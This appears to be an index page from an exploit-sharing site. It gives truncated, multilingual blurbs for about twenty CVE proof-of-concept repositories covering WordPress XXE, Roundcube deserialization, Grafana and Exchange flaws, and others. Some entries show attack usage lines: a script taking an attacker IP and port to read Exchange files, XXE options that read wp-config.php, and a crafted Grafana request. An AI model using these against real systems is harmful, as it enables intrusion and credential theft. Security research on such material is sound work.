CVE-2021-29447

WordPress 5.6-5.7 - XXE Authentifié Auteur+ CVE-2021-29447 Utilisation Étape 1. Lancer WordPress root@kitploit: $ make up-wp Étape 2. Lancer le serveur web attaquant root@kitploit: $ make up-mal Étape 3. Générer un fichier WAV malveillant Sans wavefile npm Recommandé root@kitploit: $ echo -en...

CVE-2021-42561

CVE-2021-42561: MITRE Caldera में ह्यूमन प्लगइन के माध्यम से कमांड इंजेक्शन कैल्डेरा संस्करण =2.8.1 में, ह्यूमन प्लगइन अनसैनिटाइज़्ड नाम पैरामीटर को पायथन "os.system" फ़ंक्शन में पास करता है। इससे हमलावर शेल मेटाकैरेक्टर उदा. बैकटिक्स "" या डॉलर पैरेंथीसिस "$" का उपयोग करके वर्तमान कमांड से बच नि...

CVE-2025-2304-exploit

CVE-2025-2304 - Escalada de Privilegios por Asignación Masiva en Camaleon CMS 📌 Descripción del Proyecto CVE-2025-2304 es una vulnerabilidad de Asignación Masiva Mass Assignment en Camaleon CMS versiones 2.9.1 que permite a un usuario autenticado elevar sus privilegios a administrador manipulando...

CVE-2022-45701

CVE-2022-45701 Arris Router Firmware 9.1.103 - удаленное выполнение кода RCE аутентифицированный POC эксплойт...

CVE-2025-69212

CVE-2025-69212 설명 OpenSTAManager는 기술 지원, 전자 송장 발행 및 회계를 위한 관리 소프트웨어 솔루션입니다. =2.9.8 버전은 인증된 원격 코드 실행 취약점에 영향을 받습니다. 공격자는 특수하게 조작된 .zip 아카이브를 업로드하여 파일 이름이 셸 명령으로 해석될 수 있는 .p7m 파일을 포함시킴으로써 이 취약점을 악용할 수 있으며, 이로 인해 원격 서버에서 임의의 명령이 실행됩니다. 사용법 요구 사항 root@kitploit: $ pip install requests 개념 증명 사용법...

CVE-2021-42560

CVE-2021-42560 : Analyse XML non sécurisée dans MITRE Caldera Le plugin Debrief dans Caldera versions =2.9.0 reçoit des paramètres « SVG » encodés en base64 lors de la génération d'un PDF. Ces SVG sont analysés de manière non sécurisée et peuvent être utilisés pour des attaques XXE par exemple,...

cve-2022-23636-poc

CVE-2022-23626 - Esecuzione di codice remoto autenticata nel blog di m1k1o Esecuzione di codice remoto autenticata tramite una vulnerabilità di caricamento file in Blog di m1k1o v1.3 e versioni precedenti. Descrizione L'endpoint ajax.php?action=uploadimage non valida correttamente i tipi di file...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 RCE autenticato CVE-2021-31630 Questo è un proof-of-concept moderno compatibile con Python 3.13+ per CVE-2021-31630, una vulnerabilità in OpenPLC v3 che consente a un utente autenticato di caricare un livello hardware personalizzato contenente codice malevolo, portando all'esecuzione...

CVE-2025-49113

Exploit CVE-2025-49113 Roundcube Un exploit Python per CVE-2025-49113, che sfrutta una vulnerabilità in Roundcube webmail che consente l'esecuzione remota di codice tramite deserializzazione di oggetti PHP. Panoramica Questo exploit sfrutta una vulnerabilità di deserializzazione nella funzionalit...

CVE-2025-63585

CVE-2025-63585 SQL Injection cieca basata sul tempo in /action/rtcomments/status parametro: timestamp È stata riscontrata una vulnerabilità di SQL injection cieca basata sul tempo nel parametro timestamp dell'endpoint /action/rtcomments/status. Un attaccante autenticato in grado di fornire questo...

CVE-2022-35650

CVE-2022-35650 Dies ist ein beliebiges Dateilesen in Moodle. Voraussetzungen Sie müssen einen Lehrer- oder Admin-Benutzer kompromittiert haben. Schritte 1. Klonen Sie dieses Repo: root@kitploit: git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git 2. Führen Sie diesen Befehl aus, um den...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab authenticated rce पढ़ें: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ उपयोग कैसे करें पहले एक gitlab इंस्टेंस स्पॉन करें। लॉग इन करें, एक अनोखे नाम के साथ एक ग्रुप और प्रोजेक्ट बनाएं। एक एक्सेस टोकन बनाएं। main.go में ...

n8n-CVE-2025-68613-exploit

n8n - CVE-2025-68613: Controllo Improprio delle Risorse di Codice Gestite Dinamicamente Vulnerabilità n8n contiene una vulnerabilità critica di Esecuzione di Codice Arbitrario nel suo sistema di valutazione delle espressioni dei flussi di lavoro. In determinate condizioni, le espressioni fornite ...

CVE-2019-9624

CVE-2019-9624 针对 Webmin 1.9.0 的认证 RCE Webmin 1.900 认证 RCE - CVE-2019-9624 漏洞利用 1. 漏洞描述 CVE-2019-9624 是 Webmin 1.900 及之前版本中的一个认证远程代码执行 RCE 漏洞。它允许管理员用户通过 shell 或 file 模块以 root 权限 执行任意系统命令。 2. 技术执行流程 步骤 1: 认证与会话管理 Webmin 使用自定义认证处理器。要成功进行自动化登录，需要满足以下条件： 测试 Cookie: 必须发送 testing=1 的 Cookie 以满足 Webmin...

CVE-2025-49113-exploit

CVE-2025-49113 - Esecuzione di codice in remoto in Roundcube Un proof-of-concept per CVE-2025-49113, una vulnerabilità di esecuzione di codice in remoto in Roundcube Webmail. Descrizione Questo exploit sfrutta una vulnerabilità di deserializzazione in Roundcube Webmail versioni dalla 1.5.0 alla...

CVE-2025-46041

Anchor CMS v0.12.7 - 저장형 XSS CVE-2025-46041 Anchor CMS v0.12.7은 /admin/pages/add 인터페이스의 description 필드에서 저장형 크로스 사이트 스크립팅 XSS 취약점에 취약합니다. CVE ID CVE-2025-46041 요약 유형: 저장형 XSS 위치: 페이지 생성 인터페이스 /admin/pages/add 영향: 임의의 JavaScript 실행 인증 필요: 예 관리자 또는 편집자 사용자 영향 받는 버전: Anchor CMS v0.12.7 발견 당시 최신 안정 버...

cve-2025-4615

CVE-2025-4615 — Analyse technique & Preuve de concept Vulnérabilité : Neutralisation inadéquate des entrées dans l'interface de gestion Web de PAN‑OS Avis du fabricant : https://security.paloaltonetworks.com/CVE-2025-4615 CVSS 4.0 : 6.9 MOYEN — Intégrité HAUTE, Disponibilité HAUTE CWE : CWE-83...

CVE-2026-45504

CVE-2026-45504 Lettura File Exchange CVE-2026-45504 Exchange File Read Blog di Ricerca python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 - Autenticato Author+ XXE https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ uso: -l LHOST esempio: 127.0.0.1 -n NAME esempio: payload.wav -dn DTDNAME esempio: evil.dtd -r READ esempio: ../wp-config.php evil-wav-dtd-xxe.py: error: the following...

Grafana-CVE-2024-9264

Grafana-CVE-2024-9264 root@kitploit: POST /api/ds/query?dstype=expr&expression=true&requestId=Q100 HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Cookie: grafanasession=a739fa9aeb235f2790f17de00fefe528 Content-Length: 368 "from": "1696154400000", "to": "1696345200000", "queries":...